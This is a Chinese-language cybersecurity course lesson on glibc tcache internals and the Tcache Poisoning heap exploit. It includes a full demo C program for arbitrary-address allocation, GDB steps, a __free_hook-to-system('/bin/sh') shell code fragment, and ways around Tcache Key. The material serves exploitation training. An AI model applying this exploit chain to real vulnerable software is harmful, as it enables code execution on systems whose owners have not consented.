ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

【八个月网安课程】第四周·周三:Tcache Poisoning攻击——现代堆利用核心

【八个月网安课程】第四周·周三:Tcache Poisoning攻击——现代堆利用核心 昨天深入理解了ptmalloc的堆块结构和Unsafe Unlink攻击。今天我们将目光转向现代Glibc中最具特色的机制——Tcache (Thread Cache)。Tcache是Glibc 2.26引入的每线程缓存它极大地提升了内存分配效率但也因其早期版本缺乏安全检查而成为堆利用的“快车道”。今天你将掌握Tcache的核心原理并动手实践一种极其强大的攻击技术——Tcache Poisoning。通过这种技术你可以实现几乎“想在哪分配就在哪分配”的任意地址分配能力为后续的代码执行铺平道路。第四周·周三Tcache Poisoning攻击——现代堆利用核心 今日练习目标能解释Tcache的工作机制单链表结构、next指针、每个bin最多7个块、LIFO顺序。能理解Tcache Poisoning的原理通过溢出或UAF篡改空闲Tcache块的next指针将任意地址“链入”Tcache实现任意地址分配。能编写一个包含堆溢出或UAF漏洞的C程序利用Tcache Poisoning修改关键数据或函数指针。能使用GDB观察Tcache链表的变化验证投毒攻击的效果。能理解Tcache KeyGlibc 2.29引入等保护机制并知道基本的绕过思路。能将Tcache Poisoning与__free_hook覆盖结合实现完整的Getshell利用链。 一、Tcache现代堆利用的起点Tcache是Glibc 2.26引入的每线程缓存机制。它的设计非常激进优先服务于分配和释放请求几乎没有安全检查直到Glibc 2.29才开始逐步添加保护。这使得Tcache成为现代堆利用的首选攻击面。1. Tcache的核心数据结构每个线程都有一个tcache_perthread_struct结构体其中包含64个单链表的头指针entries数组和64个计数器counts数组。// glibc源码中的简化定义typedefstructtcache_entry{structtcache_entry*next;// 指向下一个空闲块// 对于有Tcache Key的版本这里还会有key字段}tcache_entry;typedefstructtcache_perthread_struct{uint16_tcounts[TCACHE_MAX_BINS];// 每个bin中空闲块的数量tcache_entry*entries[TCACHE_MAX_BINS];// 每个bin的链表头}tcache_perthread_struct;关键特性单链表每个Tcache bin是一个单向链表空闲块的next指针指向链表中的下一个块。LIFO后进先出。最后被释放的块会放在链表头部分配时最先被取出。容量限制每个bin最多容纳7个空闲块。超过7个时后续释放的块会进入常规的fastbin或unsorted bin。无合并Tcache中的块不会触发相邻空闲块的合并。2. Tcache的分配与释放流程释放流程(free)检查对应大小的Tcache bin是否已满counts[idx] 7。如果未满将块放入Tcache bin的头部更新next指针和计数器。如果已满走常规的free流程进入fastbin或unsorted bin。分配流程(malloc)检查对应大小的Tcache bin是否有空闲块。如果有从链表头部取出一个块更新next指针和计数器返回给用户。如果没有走常规的malloc流程从fastbin、smallbin等获取。3. 为什么Tcache是攻击者的天堂无安全检查Glibc 2.29早期版本的Tcache在取链时不检查next指针的合法性。如果你能修改某个空闲块的next指针就能让malloc返回任意地址。优先级最高malloc和free都会优先访问Tcache绕过其他bin的保护机制。单链表结构简单只需要覆盖一个next指针就能完成攻击不需要像Unsafe Unlink那样构造复杂的双向链表检查。这就是Tcache Poisoning的核心思想通过漏洞修改Tcache空闲块的next指针将任意目标地址链接到Tcache链表中然后在下次malloc时分配到这个地址实现任意地址写入。 二、Tcache Poisoning攻击原理攻击步骤分配两个相同大小的堆块例如chunk A和chunk B确保它们属于同一个Tcache bin。释放chunk B再释放chunk A。此时Tcache链表为A - B - NULL。利用漏洞如堆溢出或UAF修改chunk A的next指针将其指向目标地址。第一次malloc返回chunk A链表头部Tcache链表变为B - NULL但A的next已被修改。第二次malloc返回chunk BTcache链表变为[目标地址] - ???取决于目标地址处的数据。第三次malloc返回目标地址你现在可以在目标地址上读写了。如果目标地址是__free_hook你可以写入system函数的地址。之后调用free时就会触发system传入你准备好的参数如/bin/sh从而获取Shell。✍️ 三、动手实践Tcache Poisoning全流程我们创建一个包含堆溢出的漏洞程序演示Tcache Poisoning攻击。实践 1编写漏洞程序 (tcache_poison.c)#includestdio.h#includestdlib.h#includestring.h#includeunistd.hunsignedlongtarget0xdeadbeef;// 我们的攻击目标intmain(){setbuf(stdout,NULL);setbuf(stderr,NULL);printf( Tcache Poisoning Demo \n);printf([] target variable is at: %p, value: 0x%lx\n,target,target);// 1. 分配两个相同大小的堆块size_t*a(size_t*)malloc(0x80);size_t*b(size_t*)malloc(0x80);printf([] Allocated chunk a: %p\n,a);printf([] Allocated chunk b: %p\n,b);// 2. 释放b再释放aLIFO顺序free(b);free(a);printf([] Freed b, then a\n);// 3. 利用堆溢出假设a之前分配的其他块可被溢出到a// 这里我们直接用UAF模拟再次通过a修改其next指针// 在真实漏洞中a可能已被分配但这里为了演示我们直接覆盖*a(size_t)(target);// 将a的next指针改为目标变量地址printf([] Modified a-next to point to target\n);// 4. 连续分配观察返回地址size_t*p1(size_t*)malloc(0x80);// 返回asize_t*p2(size_t*)malloc(0x80);// 返回bsize_t*p3(size_t*)malloc(0x80);// 应该返回目标地址printf([] p1 (should be a): %p\n,p1);printf([] p2 (should be b): %p\n,p2);printf([] p3 (should be target): %p\n,p3);// 5. 验证任意写能力if(p3(size_t*)target){*p30xcafebabe;// 修改目标变量的值printf([] Modified target to 0x%lx\n,target);}else{printf([!] Tcache poisoning failed or offset issue\n);}return0;}实践 2编译并运行观察利用效果 (1小时)# 编译程序使用较老的Glibc版本以避免Tcache Key保护# 如果当前系统是Glibc 2.29需要添加编译选项模拟旧行为# 或者直接在Ubuntu 18.04 (Glibc 2.27) 的Docker容器中运行gcc -fno-stack-protector -no-pie-otcache_poison tcache_poison.c-g# 运行程序./tcache_poison预期输出 Tcache Poisoning Demo [] target variable is at: 0x404060, value: 0xdeadbeef [] Allocated chunk a: 0x55555555a260 [] Allocated chunk b: 0x55555555a2f0 [] Freed b, then a [] Modified a-next to point to target [] p1 (should be a): 0x55555555a260 [] p2 (should be b): 0x55555555a2f0 [] p3 (should be target): 0x404060 [] Modified target to 0xcafebabe发生了什么chunk A和chunk B被释放后进入0x90大小的Tcache bin。链表为A - B - NULL。通过UAF漏洞我们修改了chunk A的next指针使其指向target变量的地址。第一次malloc返回chunk ATcache链表变为B - NULL。第二次malloc返回chunk BTcache链表变为target - ???。第三次malloc成功返回了target的地址随后我们可以直接修改target的值。实践 3使用GDB观察Tcache链表变化 (1.5小时)gdb ./tcache_poison# 在关键位置设置断点(gdb)break*main100# free之前(gdb)break*main200# 修改next之后(gdb)break*main300# malloc之后(gdb)run# 查看Tcache结构(gdb)p tcache_perthread_struct# 或者直接查看tcache entries(gdb)x/2gxtcache_perthread_struct 0x50# 对应0x90大小的bin (索引计算0x90/0x10 - 1 8)# 在free之后查看链表(gdb)x/gx a# a-next应该指向b(gdb)x/gx b# b-next应该为NULL# 在修改next之后再次查看(gdb)x/gx a# a-next现在应该指向target的地址# 在第三次malloc之后验证返回地址(gdb)p p3(gdb)x/gx p3# 查看target变量被修改前的值关键观察点Tcache bin的索引计算(size - 0x20) / 0x1064位系统。对于0x80的分配请求实际堆块大小是0x90bin索引是(0x90 - 0x20) / 0x10 7。单链表的遍历a-next b,b-next target,target-next ???。malloc不会检查target处是否有合法的堆块头这就是任意地址分配的原理。实践 4结合__free_hook获取Shell (1.5小时)更完整的利用方案是覆盖__free_hook为system然后释放一个包含/bin/sh的堆块来获取Shell。关键代码片段需在目标Glibc版本上调整地址// 假设已经通过信息泄露获得了libc基址unsignedlonglibc_base0x7f0000000000;// 泄露的libc基址unsignedlongsystem_addrlibc_base0x522c0;// system在libc中的偏移unsignedlongfree_hook_addrlibc_base0x3ed8e8;// __free_hook的偏移// 修改Tcache的next指针指向__free_hook*afree_hook_addr;// 投毒malloc(0x80);// 返回amalloc(0x80);// 返回bsize_t*hook(size_t*)malloc(0x80);// 返回__free_hook地址// 覆盖__free_hook为system*hooksystem_addr;// 准备包含/bin/sh的堆块char*cmd(char*)malloc(0x20);strcpy(cmd,/bin/sh);// 触发free实际调用system(/bin/sh)free(cmd);验证如果利用成功程序将执行system(/bin/sh)你可以看到一个新的Shell。实践 5理解Tcache Key保护与绕过 (1小时)Glibc 2.29引入了Tcache Key机制在每个Tcache空闲块的next指针之后放置一个随机生成的key值。在从Tcache取链时Glibc会检查entry-key tcache_key如果不匹配则触发double-free检测。绕过思路直接覆盖key如果你有任意写能力可以在覆盖next的同时覆盖key为正确的值。使用其他漏洞原语如House of Spirit或修改tcache_perthread_struct中的counts和entries。转向其他bin当Tcache防护增强时攻击者开始更多地利用fastbin和smallbin的漏洞。// Glibc 2.29的tcache_entry结构typedefstructtcache_entry{structtcache_entry*next;structtcache_perthread_struct*key;// 新增的key字段}tcache_entry; 四、今日产出物检查成功编写并运行了Tcache Poisoning漏洞利用程序GDB分析记录展示了Tcache链表变化和任意地址分配的效果完整的Tcache Poisoning __free_hook覆盖利用脚本或伪代码一份Tcache Poisoning技术笔记包含不同Glibc版本的保护机制对比✅ 今日自检清单我理解了Tcache的单链表结构、容量限制和LIFO特性。我能够解释Tcache Poisoning的攻击原理修改next指针→任意地址分配。我成功编写了一个利用UAF实现Tcache Poisoning的程序。我使用GDB观察了Tcache链表的变化验证了投毒效果。我理解了__free_hook在获取Shell中的作用并能结合Tcache Poisoning完成利用。我了解了Glibc 2.29的Tcache Key保护机制及其绕过思路。我认识到Tcache是现代堆利用的重要起点掌握它等于拥有了一把“万能钥匙”。⚠️ 阶段避坑重点Glibc版本至关重要Tcache的行为在不同Glibc版本间差异巨大。Glibc 2.26-2.28几乎没有保护2.29加入Tcache Key2.32加入Safe-Linking指针异或加密。在练习时务必确认你的测试环境Glibc版本并针对性调整利用代码。堆块大小对齐malloc(0x80)实际分配0x90大小的堆块。在计算Tcache bin索引时必须使用实际大小。使用pwntools可以自动处理这些细节。counts数组的限制每个Tcache bin最多7个块。如果你的利用需要先释放8个块第8个块会进入fastbin而不是Tcache导致利用失败。地址对齐malloc返回的地址必须满足对齐要求64位系统为16字节对齐。如果你投毒的目标地址不满足对齐要求malloc可能会崩溃或返回修正后的地址。__free_hook与__malloc_hook的替代现代Glibc2.34已移除__free_hook和__malloc_hook。对于较新版本需要寻找其他hook点或利用IO相关的攻击技术。 恭喜你掌握了现代堆利用的核心技术——Tcache Poisoning今天你学会了如何通过篡改Tcache链表的next指针实现任意地址分配并最终覆盖__free_hook获取Shell。这种技术简洁而强大是大多数现代堆利用链的基础。明天我们将继续挑战更高级的堆利用技术——Fastbin Attack学习如何利用Fastbin的单链表结构实现类似的任意地址分配。这将让你的堆利用武器库更加全面。
返回列表